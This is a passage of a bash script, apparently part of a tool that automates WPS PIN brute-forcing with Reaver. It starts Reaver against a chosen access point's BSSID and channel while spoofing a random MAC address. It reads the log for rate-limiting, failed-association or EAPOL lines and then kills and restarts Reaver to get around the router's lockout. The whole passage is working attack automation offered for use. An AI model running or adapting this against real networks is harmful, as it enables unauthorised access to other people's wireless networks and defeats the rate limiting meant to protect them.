if [[ $USE_R25 == y || $USE_R25 == Y ]] && [[ $USE_LONG25 == y || $USE_LONG25 == Y ]] && [[ $USE_PIN25 == y || $USE_PIN25 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX25" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY25"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -r $RX25:$RY25 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN25 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE25 == n ] || [ $KEEP_FILE25 == N ]; then

          rm VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R26 == n || $USE_R26 == N ]] && [[ $USE_LONG26 == n || $USE_LONG26 == N ]] && [[ $USE_PIN26 == n || $USE_PIN26 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R26 == y || $USE_R26 == Y ]] && [[ $USE_LONG26 == n || $USE_LONG26 == N ]] && [[ $USE_PIN26 == n || $USE_PIN26 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX26" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY26"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -vv -x 60 -r $RX26:$RY26 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R26 == n || $USE_R26 == N ]] && [[ $USE_LONG26 == y || $USE_LONG26 == Y ]] && [[ $USE_PIN26 == n || $USE_PIN26 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R26 == y || $USE_R26 == Y ]] && [[ $USE_LONG26 == y || $USE_LONG26 == Y ]] && [[ $USE_PIN26 == n || $USE_PIN26 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX26" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY26"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -r $RX26:$RY26 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


